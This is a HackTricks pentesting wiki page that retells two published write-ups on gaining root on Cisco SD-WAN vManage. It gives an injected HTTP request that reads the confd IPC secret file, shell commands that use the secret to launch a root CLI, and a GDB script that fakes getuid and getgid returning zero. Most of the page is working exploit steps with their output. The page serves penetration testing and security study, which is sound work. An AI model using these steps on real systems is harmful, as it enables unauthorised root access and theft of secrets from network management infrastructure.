Cisco - vmanage - HackTricks

Support HackTricks and get benefits!
Path 1
(Example from https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)
After digging a little through some documentation related to confd and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in /etc/confd/confd_ipc_secret:
1
vmanage:~$ ls -al /etc/confd/confd_ipc_secret 
2
​
3
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
Copied!
Remember our Neo4j instance? It is running under the vmanage user's privileges, thus allowing us to retrieve the file using the previous vulnerability:
1
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
2
​
3
Host: vmanage-XXXXXX.viptela.net 
4
​
5
​
6
​
7
[...]
8
​
9
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
Copied!
The confd_cli program does not support command line arguments but calls /usr/bin/confd_cli_user with arguments. So, we could directly call /usr/bin/confd_cli_user with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell:
1
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
2
​
3
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret 
4
​
5
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
6
​
7
Welcome to Viptela CLI
8
​
9
admin connected from 127.0.0.1 using console on vManage
10
​
11
vManage# vshell
12
​
13
vManage:~# id
14
​
15
uid=0(root) gid=0(root) groups=0(root)
Copied!
Path 2
(Example from https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)
The blog¹ by the synacktiv team described an elegant way to get a root shell, but the caveat is it requires getting a copy of the /usr/bin/confd_cli_user which is only readable by root. I found another way to escalate to root without such hassle.
When I disassembled /usr/bin/confd_cli binary, I observed the following:
1
vmanage:~$ objdump -d /usr/bin/confd_cli
2
… snipped …
3
40165c: 48 89 c3              mov    %rax,%rbx
4
40165f: bf 1c 31 40 00        mov    $0x40311c,%edi
5
401664: e8 17 f8 ff ff        callq  400e80 <[email protected]>
6
401669: 49 89 c4              mov    %rax,%r12
7
40166c: 48 85 db              test   %rbx,%rbx
8
40166f: b8 dc 30 40 00        mov    $0x4030dc,%eax
9
401674: 48 0f 44 d8           cmove  %rax,%rbx
10
401678: 4d 85 e4              test   %r12,%r12
11
40167b: b8 e6 30 40 00        mov    $0x4030e6,%eax
12
401680: 4c 0f 44 e0           cmove  %rax,%r12
13
401684: e8 b7 f8 ff ff        callq  400f40 <[email protected]>  <-- HERE
14
401689: 89 85 50 e8 ff ff     mov    %eax,-0x17b0(%rbp)
15
40168f: e8 6c f9 ff ff        callq  401000 <[email protected]>  <-- HERE
16
401694: 89 85 44 e8 ff ff     mov    %eax,-0x17bc(%rbp)
17
40169a: 8b bd 68 e8 ff ff     mov    -0x1798(%rbp),%edi
18
4016a0: e8 7b f9 ff ff        callq  401020 <[email protected]>
19
4016a5: c6 85 cf f7 ff ff 00  movb   $0x0,-0x831(%rbp)
20
4016ac: 48 85 c0              test   %rax,%rax
21
4016af: 0f 84 ad 03 00 00     je     401a62 <[email protected]+0x952>
22
4016b5: ba ff 03 00 00        mov    $0x3ff,%edx
23
4016ba: 48 89 c6              mov    %rax,%rsi
24
4016bd: 48 8d bd d0 f3 ff ff  lea    -0xc30(%rbp),%rdi
25
4016c4:   e8 d7 f7 ff ff           callq  400ea0 <*ABS*[email protected]>
26
… snipped …
Copied!
When I run “ps aux”, I observed the following (note -g 100 -u 107)
1
vmanage:~$ ps aux 
2
… snipped …
3
root     28644  0.0  0.0   8364   652 ?        Ss   18:06   0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
4
… snipped …
Copied!
I hypothesized the “confd_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application.
My first attempt was to run the “cmdptywrapper” directly and supplying it with -g 0 -u 0, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it.
As mentioned in synacktiv’s blog(last example), the confd_cli program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system.
I created a GDB script where I forced the API getuid and getgid to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the /etc/confd/confd_ipc_secret directly.
root.gdb:
1
set environment USER=root
2
define root
3
   finish
4
   set $rax=0
5
   continue
6
end
7
break getuid
8
commands
9
   root
10
end
11
break getgid
12
commands
13
   root
14
end
15
run
Copied!
Console Output:
1
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
2
GNU gdb (GDB) 8.0.1
3
Copyright (C) 2017 Free Software Foundation, Inc.
4
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
5
This is free software: you are free to change and redistribute it.
6
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
7
and "show warranty" for details.
8
This GDB was configured as "x86_64-poky-linux".
9
Type "show configuration" for configuration details.
10
For bug reporting instructions, please see:
11
<http://www.gnu.org/software/gdb/bugs/>.
12
Find the GDB manual and other documentation resources online at:
13
<http://www.gnu.org/software/gdb/documentation/>.
14
For help, type "help".
15
Type "apropos word" to search for commands related to "word"...
16
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
17
Breakpoint 1 at 0x400f40
18
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
19
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
20
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
21
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
22
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
23
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
24
0x0000000000401871 in ?? ()
25
Welcome to Viptela CLI
26
root connected from 127.0.0.1 using console on vmanage
27
vmanage# vshell
28
bash-4.4# whoami ; id
29
root
30
uid=0(root) gid=0(root) groups=0(root)
31
bash-4.4#
Copied!
Support HackTricks and get benefits!

Escaping from Jails

D-Bus Enumeration & Command Injection Privilege Escalation

Last modified 2mo ago

Copy link

Contents

Path 1

Path 2